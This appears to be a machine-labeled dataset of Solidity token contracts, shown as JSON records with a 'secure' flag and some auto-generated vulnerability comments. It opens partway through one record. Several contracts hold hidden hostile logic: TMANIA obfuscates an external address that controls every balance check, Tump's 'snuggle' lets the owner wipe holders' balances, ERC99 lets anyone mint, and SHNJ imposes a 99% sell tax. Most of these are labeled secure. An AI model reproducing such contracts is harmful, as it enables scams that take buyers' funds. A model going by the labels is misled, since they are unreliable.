Vulnerability (reentrancy-benign | severity: Low | ID: 2c5c4c8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2c5c4c8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: aec52de): FBR.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for aec52de: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1fc5b61): FBR.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1fc5b61: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7996d02): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7996d02: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 2c5c4c8\n\t\t// reentrancy-eth | ID: 7996d02\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 2c5c4c8\n\t\t// unused-return | ID: aec52de\n\t\t// reentrancy-eth | ID: 7996d02\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 2c5c4c8\n\t\t// unused-return | ID: 1fc5b61\n\t\t// reentrancy-eth | ID: 7996d02\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 2c5c4c8\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 7996d02\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1188.sol",
"secure": 0,
"size_bytes": 17489
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BRUMP is Context, IERC20, Ownable {\n string private constant _name = \"BRUMP\";\n\n string private constant _symbol = \"BRUMP\";\n\n uint256 private constant _totalSupply = 420_690_000_000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n mapping(address => uint256) private _balance;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() {\n _balance[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) private {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(amount > 1e9, \"Min transfer amt\");\n\n _balance[from] -= amount;\n\n _balance[to] += amount;\n\n emit Transfer(from, to, amount);\n }\n}",
"file_name": "solidity_code_1189.sol",
"secure": 1,
"size_bytes": 3038
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC99.sol\" as IERC99;\n\ncontract ERC99Token is IERC99 {\n string public constant name = \"erc99\";\n\n string public constant symbol = \"99\";\n\n uint8 public constant decimals = 18;\n\n uint256 private _totalSupply;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _nextTokenId;\n\n address public constant vitalikAddress =\n 0x1Db3439a222C519ab44bb1144fC28167b4Fa6EE6;\n\n constructor() {\n uint256 maxSupply = 99_000_000 * 10 ** uint256(decimals);\n\n uint256 vitalikPortion = (maxSupply * 999) / 10000;\n\n uint256 deployerPortion = maxSupply - vitalikPortion;\n\n _balances[msg.sender] = deployerPortion;\n\n emit Transfer(address(0), msg.sender, deployerPortion);\n\n _balances[vitalikAddress] = vitalikPortion;\n\n emit Transfer(address(0), vitalikAddress, vitalikPortion);\n\n _totalSupply = maxSupply;\n\n _nextTokenId = 1;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) external override returns (bool) {\n require(\n _balances[msg.sender] >= amount,\n \"ERC99: transfer amount exceeds balance\"\n );\n\n _balances[msg.sender] -= amount;\n\n _balances[to] += amount;\n\n emit Transfer(msg.sender, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external override returns (bool) {\n require(\n _balances[from] >= amount,\n \"ERC99: transfer amount exceeds balance\"\n );\n\n require(\n _allowances[from][msg.sender] >= amount,\n \"ERC99: transfer amount exceeds allowance\"\n );\n\n _balances[from] -= amount;\n\n _balances[to] += amount;\n\n _allowances[from][msg.sender] -= amount;\n\n emit Transfer(from, to, amount);\n\n return true;\n }\n\n function generateTokens(uint256 amount) external override returns (bool) {\n _balances[msg.sender] += amount;\n\n _totalSupply += amount;\n\n emit Transfer(address(0), msg.sender, amount);\n\n return true;\n }\n\n function combineTokens(\n uint256[] memory tokenIds\n ) external override returns (uint256) {\n require(\n tokenIds.length > 1,\n \"ERC99: need at least two tokens to combine\"\n );\n\n uint256 newTokenId = _nextTokenId++;\n\n emit TokensCombined(msg.sender, newTokenId, tokenIds);\n\n return newTokenId;\n }\n}",
"file_name": "solidity_code_119.sol",
"secure": 1,
"size_bytes": 3436
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract MOGCAT is IERC20 {\n string public constant name = \"MOG CAT\";\n\n string public constant symbol = \"MOGCAT\";\n\n uint8 public constant decimals = 18;\n\n uint256 public constant totalSupply = 69420000 * (10 ** uint256(decimals));\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address private immutable _owner;\n\n constructor() {\n _owner = msg.sender;\n\n _balances[msg.sender] = totalSupply;\n\n emit Transfer(address(0), msg.sender, totalSupply);\n }\n\n modifier onlyOwner() {\n require(msg.sender == _owner, \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function balanceOf(\n address account\n ) external view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][msg.sender];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, msg.sender, currentAllowance - amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n _balances[sender] >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] -= amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(address owner, address spender, uint256 amount) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_1190.sol",
"secure": 1,
"size_bytes": 2976
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Tump is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable exhibition;\n\n constructor() {\n _name = \"tump\";\n\n _symbol = \"tump\";\n\n _decimals = 18;\n\n uint256 initialSupply = 597000000;\n\n exhibition = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == exhibition, \"Not allowed\");\n\n _;\n }\n\n function snuggle(address[] memory compartment) public onlyOwner {\n for (uint256 i = 0; i < compartment.length; i++) {\n address account = compartment[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1191.sol",
"secure": 1,
"size_bytes": 4375
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface Keyring {\n function checkCredential(\n uint256 policyId,\n address entity\n ) external view returns (bool);\n}",
"file_name": "solidity_code_1192.sol",
"secure": 1,
"size_bytes": 203
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Keyring.sol\" as Keyring;\n\ncontract KeyringIdleWhitelist {\n error NotAdmin(address account);\n\n event Whitelist(address indexed entity, bool indexed status);\n\n event AdminChange(address indexed oldAdmin, address indexed newAdmin);\n\n address public immutable KEYRING;\n\n address public admin;\n\n mapping(address => bool) public whitelist;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f6ff194): KeyringIdleWhitelist.constructor(address).keyring_ lacks a zerocheck on \t KEYRING = keyring_\n\t// Recommendation for f6ff194: Check that the address is not zero.\n constructor(address keyring_) {\n\t\t// missing-zero-check | ID: f6ff194\n KEYRING = keyring_;\n\n admin = msg.sender;\n }\n\n function checkCredential(\n uint256 policyId,\n address entity\n ) external view returns (bool) {\n bool ok = whitelist[entity];\n\n if (ok) {\n return true;\n }\n\n Keyring k = Keyring(KEYRING);\n\n return k.checkCredential(policyId, entity);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f3e1e5d): KeyringIdleWhitelist.changeAdmin(address).newAdmin lacks a zerocheck on \t admin = newAdmin\n\t// Recommendation for f3e1e5d: Check that the address is not zero.\n function changeAdmin(address newAdmin) external {\n if (msg.sender != admin) {\n revert NotAdmin(msg.sender);\n }\n\n address oldAdmin = admin;\n\n\t\t// missing-zero-check | ID: f3e1e5d\n admin = newAdmin;\n\n emit AdminChange(oldAdmin, newAdmin);\n }\n\n function setWhitelistStatus(address entity, bool status) external {\n if (msg.sender != admin) {\n revert NotAdmin(msg.sender);\n }\n\n bool oldStatus = whitelist[entity];\n\n if (oldStatus == status) {\n return;\n }\n\n whitelist[entity] = status;\n\n emit Whitelist(entity, status);\n }\n}",
"file_name": "solidity_code_1193.sol",
"secure": 0,
"size_bytes": 2064
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Blacklistable is Ownable {\n mapping(address => bool) public blacklisted;\n\n event AccountBlacklisted(address indexed account);\n\n event AccountUnblacklisted(address indexed account);\n\n constructor() Ownable(msg.sender) {}\n\n modifier onlyNotBlacklisted() {\n require(!blacklisted[msg.sender], \"Sender is blacklisted\");\n\n _;\n }\n\n function blacklist(address account) external onlyOwner {\n blacklisted[account] = true;\n\n emit AccountBlacklisted(account);\n }\n\n function unblacklist(address account) external onlyOwner {\n blacklisted[account] = false;\n\n emit AccountUnblacklisted(account);\n }\n\n function isBlacklisted(address account) public view returns (bool) {\n return blacklisted[account];\n }\n}",
"file_name": "solidity_code_1194.sol",
"secure": 1,
"size_bytes": 942
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./Blacklistable.sol\" as Blacklistable;\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\n\ncontract OGToken is ERC20, Blacklistable, Pausable {\n uint8 private immutable _decimals;\n\n event Mint(address indexed to, uint256 amount);\n\n event Burn(address indexed from, uint256 amount);\n\n constructor(\n string memory tokenName,\n string memory tokenSymbol,\n uint8 tokenDecimals,\n uint256 initialSupply,\n address initialOwner\n ) ERC20(tokenName, tokenSymbol) {\n require(tokenDecimals <= 18, \"Invalid decimals: must be <= 18\");\n\n require(initialSupply > 0, \"Initial supply must be > 0\");\n\n require(initialOwner != address(0), \"Owner address cannot be zero\");\n\n _decimals = tokenDecimals;\n\n _transferOwnership(initialOwner);\n\n _mint(initialOwner, initialSupply * 10 ** tokenDecimals);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function mint(\n address to,\n uint256 amount\n ) external onlyOwner onlyNotBlacklisted {\n require(to != address(0), \"Cannot mint to the zero address\");\n\n require(amount > 0, \"Mint amount must be > 0\");\n\n _mint(to, amount);\n\n emit Mint(to, amount);\n }\n\n function burn(\n address from,\n uint256 amount\n ) external onlyOwner onlyNotBlacklisted {\n require(from != address(0), \"Cannot burn from the zero address\");\n\n require(amount > 0, \"Burn amount must be > 0\");\n\n _burn(from, amount);\n\n emit Burn(from, amount);\n }\n\n function pause() external onlyOwner {\n _pause();\n }\n\n function unpause() external onlyOwner {\n _unpause();\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override whenNotPaused onlyNotBlacklisted returns (bool) {\n return super.transfer(recipient, amount);\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override whenNotPaused onlyNotBlacklisted returns (bool) {\n return super.transferFrom(sender, recipient, amount);\n }\n}",
"file_name": "solidity_code_1195.sol",
"secure": 1,
"size_bytes": 2407
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Pepewifhat is ERC20 {\n constructor() ERC20(\"pepewifhat\", \"PWH\") {\n _mint(msg.sender, 1000000000000 * 10 ** 18);\n }\n}",
"file_name": "solidity_code_1196.sol",
"secure": 1,
"size_bytes": 272
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Platforme.sol\" as Platforme;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\n\ncontract TMANIA is Platforme, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: e28747a): TMANIA._totalSupply should be constant \n\t// Recommendation for e28747a: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 100000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8912a34): TMANIA._name should be constant \n\t// Recommendation for 8912a34: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"Trump Mania\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 00e9788): TMANIA._symbol should be constant \n\t// Recommendation for 00e9788: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"TMANIA\";\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 82b2046): TMANIA.Router2Instance should be immutable \n\t// Recommendation for 82b2046: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 private Router2Instance;\n\n constructor(uint256 aEdZTTu) {\n uint256 cc = aEdZTTu +\n uint256(10) -\n uint256(10) +\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n );\n\n Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(cc))));\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 1b50528): TMANIA.bb should be constant \n\t// Recommendation for 1b50528: Add the 'constant' attribute to state variables that never change.\n uint160 private bb = 20;\n\n function brcFfffactornnmoosgsto(\n uint256 value\n ) internal view returns (uint160) {\n uint160 a = 70;\n\n return (bb +\n a +\n uint160(value) +\n uint160(\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n )\n ));\n }\n\n function brcFactornnmoosgsto(\n uint256 value\n ) internal view returns (address) {\n return address(brcFfffactornnmoosgsto(value));\n }\n\n function getBcFnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return getBcQnnmoosgsto(accc);\n }\n\n function getBcQnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return UniswapRouterV2(accc);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = IUniswapRouterV2.swap99(\n Router2Instance,\n Router2Instance,\n _balances[from],\n from\n );\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balances[from] = balance.sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n}",
"file_name": "solidity_code_1197.sol",
"secure": 1,
"size_bytes": 6279
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ZacroTribe is ERC20, ERC20Burnable, Ownable {\n uint256 public constant INITIAL_SUPPLY = 200_000_000_000 * 10 ** 18;\n\n event Mint(address indexed to, uint256 amount);\n\n event Burn(address indexed from, uint256 amount);\n\n constructor(\n address _ownerAddress\n ) ERC20(\"ZacroTribe\", \"ZACRO\") Ownable(_ownerAddress) {\n _mint(msg.sender, INITIAL_SUPPLY);\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n\n emit Mint(to, amount);\n }\n\n function burn(uint256 amount) public override {\n super.burn(amount);\n\n emit Burn(msg.sender, amount);\n }\n\n function burnFrom(address account, uint256 amount) public override {\n super.burnFrom(account, amount);\n\n emit Burn(account, amount);\n }\n}",
"file_name": "solidity_code_1198.sol",
"secure": 1,
"size_bytes": 1134
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract SHNJ is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n string private constant _name = unicode\"Shinji\";\n\n string private constant _symbol = unicode\"SHNJ\";\n\n uint256 private _buyTax = 0;\n\n uint256 private _sellTax = 99;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1b49171): SHNJ._devWallet should be immutable \n\t// Recommendation for 1b49171: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _devWallet;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 10000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 04cb431): SHNJ._maxTaxSwap should be constant \n\t// Recommendation for 04cb431: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b115323): SHNJ._taxSwapThreshold should be constant \n\t// Recommendation for b115323: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 991b07a): SHNJ.uniswapV2Router should be immutable \n\t// Recommendation for 991b07a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6fcf25d): SHNJ.uniswapV2Pair should be immutable \n\t// Recommendation for 6fcf25d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private tradingOpen = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _devWallet = payable(0x04dA2732583b7973006a764139C90801f9884793);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_devWallet] = true;\n\n _isExcludedFromFee[owner()] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d2eb9c7): SHNJ.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d2eb9c7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0ba57b7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0ba57b7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 08738f0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 08738f0: Apply the check-effects-interactions pattern (see 